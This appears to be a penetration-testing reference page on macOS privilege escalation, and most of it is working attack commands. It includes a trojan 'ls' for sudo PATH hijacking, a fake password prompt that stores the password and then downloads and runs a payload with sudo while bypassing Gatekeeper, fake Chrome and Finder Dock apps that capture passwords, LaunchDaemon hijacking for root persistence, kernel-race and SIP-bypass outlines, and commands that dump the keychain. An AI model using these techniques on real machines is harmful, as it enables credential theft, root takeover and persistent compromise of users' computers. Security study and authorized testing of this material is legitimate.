macOS Privilege Escalation

macOS-specific privilege escalation techniques including sudo hijacking, dock impersonation, LaunchDaemon abuse, and recent CVEs

Overview

macOS privilege escalation combines traditional Unix techniques with Apple-specific attack vectors. This page covers user-interaction-based escalation, social engineering, and recent macOS-specific vulnerabilities.

This content is for authorized penetration testing and security research only.

TCC Privilege Escalation

TCC (Transparency, Consent, and Control) controls application access to sensitive resources. TCC privilege escalation is covered separately — this page focuses on traditional root escalation.

User Interaction Techniques

Sudo PATH Hijacking

macOS preserves the user’s PATH when executing sudo, unlike many Linux distributions. This allows hijacking binaries in Homebrew paths:

# Hijack 'ls' in /opt/homebrew/bin (usually already in PATH)
cat > /opt/homebrew/bin/ls <<'EOF'
#!/bin/bash
if [ "$(id -u)" -eq 0 ]; then
    whoami > /tmp/privesc
fi
/bin/ls "$@"
EOF
chmod +x /opt/homebrew/bin/ls

# When victim runs:
sudo ls
# Your script executes as root

Users with Homebrew installed (most developers) are particularly vulnerable since /opt/homebrew/bin is typically at the front of their PATH.

Password Prompt Phishing + sudo Reuse

Malware frequently captures a sudo-capable password and reuses it programmatically:

user=$(whoami)
while true; do
  read -s -p "Password: " pw; echo
  dscl . -authonly "$user" "$pw" && break
done
printf '%s\n' "$pw" > /tmp/.pass

# Download and run payload, bypassing Gatekeeper quarantine
curl -o /tmp/update https://example.com/update
printf '%s\n' "$pw" | sudo -S xattr -c /tmp/update && chmod +x /tmp/update && /tmp/update

Dock Impersonation

Chrome Dock Impersonation

Replace the legitimate Chrome entry in the Dock with a fake app that steals the user’s password:

#!/bin/sh
# Create fake Chrome app structure
mkdir -p /tmp/Google\ Chrome.app/Contents/MacOS
mkdir -p /tmp/Google\ Chrome.app/Contents/Resources

# Payload: display fake update dialog to capture password
# (see full script in source for C code that uses osascript)

# Copy real Chrome icon for legitimacy
cp /Applications/Google\ Chrome.app/Contents/Resources/app.icns \
   /tmp/Google\ Chrome.app/Contents/Resources/app.icns

# Add to Dock
defaults write com.apple.dock persistent-apps -array-add \
  '<dict><key>tile-data</key><dict><key>file-data</key><dict>
   <key>_CFURLString</key><string>/tmp/Google Chrome.app</string>
   <key>_CFURLStringType</key><integer>0</integer>
   </dict></dict></dict>'
sleep 0.1
killall Dock

Finder Impersonation

Finder cannot be removed from the Dock — place a fake Finder adjacent to the real one:

# Place fake Finder entry at the beginning of the Dock array
# When clicked: asks for password "to update components"
# Captured password written to /tmp/passwd.txt

Alternatively, make fake Finder request to copy to /etc/pam.d (triggers a legitimate-looking password prompt).

Newer macOS-Specific Vectors (2023–2025)

AuthorizationExecuteWithPrivileges (Still Works on Sonoma/Sequoia)

This API was deprecated in 10.7 but still functions on current macOS. Many commercial updaters call /usr/libexec/security_authtrampoline with attacker-controllable paths:

# Monitor for vulnerable helper calls
log stream --info --predicate 'eventMessage CONTAINS "security_authtrampoline"'

# Replace expected helper binary
cp /tmp/payload "/Users/me/Library/Application Support/Target/helper"
chmod +x "/Users/me/Library/Application Support/Target/helper"
# When the app updates, the root authorization prompt executes your payload

LaunchDaemon Plist Hijack (CVE-2025-24085 Pattern)

If a LaunchDaemon plist or its ProgramArguments target is user-writable:

sudo launchctl bootout system /Library/LaunchDaemons/com.apple.securemonitor.plist
cp /tmp/root.sh /Library/PrivilegedHelperTools/securemonitor
chmod 755 /Library/PrivilegedHelperTools/securemonitor

cat > /Library/LaunchDaemons/com.apple.securemonitor.plist <<'PLIST'
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
  "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0"><dict>
  <key>Label</key><string>com.apple.securemonitor</string>
  <key>ProgramArguments</key>
  <array><string>/Library/PrivilegedHelperTools/securemonitor</string></array>
  <key>RunAtLoad</key><true/>
</dict></plist>
PLIST

sudo launchctl bootstrap system /Library/LaunchDaemons/com.apple.securemonitor.plist

XNU SMR Credential Race (CVE-2025-24118)

A race in kauth_cred_proc_update allows corrupting the read-only credential pointer (proc_ro.p_ucred) by racing setgid()/getgid() loops across threads until a torn memcpy occurs. Successful corruption yields uid 0.

// Minimal PoC structure (requires heap grooming for reliability)
// thread A
while (1) setgid(rand());
// thread B
while (1) getgid();

This is a reliable local kernel privesc on vulnerable builds without SIP bypass requirements.

Migraine SIP Bypass (CVE-2023-32369)

Abuses the Migration Assistant entitlement com.apple.rootless.install.heritable to spawn a child process that inherits SIP bypass capability:

1. Obtain root on a live system
2. Trigger systemmigrationd with crafted state to run an attacker-controlled binary
3. Use inherited entitlement to write to SIP-protected paths (e.g., /System/Library/LaunchDaemons)
4. Persistence survives reboot

NSPredicate/XPC Expression Smuggling (CVE-2023-23530/23531)

Multiple Apple daemons accept NSPredicate objects over XPC and only validate expressionType, which is attacker-controlled. Crafting a predicate that evaluates arbitrary selectors achieves code execution in root/system XPC services (e.g., coreduetd, contextstored).

When combined with an initial sandbox escape, this grants privilege escalation without user prompts.

TCC Root Privilege Escalation

CVE-2020-9771 — mount_apfs TCC Bypass

Any user (even unprivileged) can mount a Time Machine snapshot with noowners and access all files:

# Create a Time Machine snapshot
tmutil localsnapshot

# List available snapshots
tmutil listlocalsnapshots /

# Mount snapshot as current user (noowners bypasses ownership)
mkdir /tmp/snap
/sbin/mount_apfs -o noowners -s com.apple.TimeMachine.2023-05-29-001751.local \
  /System/Volumes/Data /tmp/snap

# Now accessible
ls /tmp/snap/Users/admin_user

The only privilege required is that the Terminal app (or whatever tool is used) must have Full Disk Access (FDA) — kTCCServiceSystemPolicyAllfiles.

Sensitive Files for Privilege Escalation

Key locations worth examining on macOS:

# Keychain files
~/Library/Keychains/
/Library/Keychains/

# SSH keys and config
~/.ssh/

# Shell history (zsh is default on modern macOS)
~/.zsh_history
~/.bash_history

# Application support credentials
~/Library/Application Support/

# macOS credential store
security find-generic-password -l "service_name" -w
security dump-keychain ~/Library/Keychains/login.keychain-db 2>/dev/null

References

• Microsoft Migraine SIP Bypass (CVE-2023-32369)
• CVE-2025-24118 SMR Credential Race PoC
• CVE-2020-9771 Original Report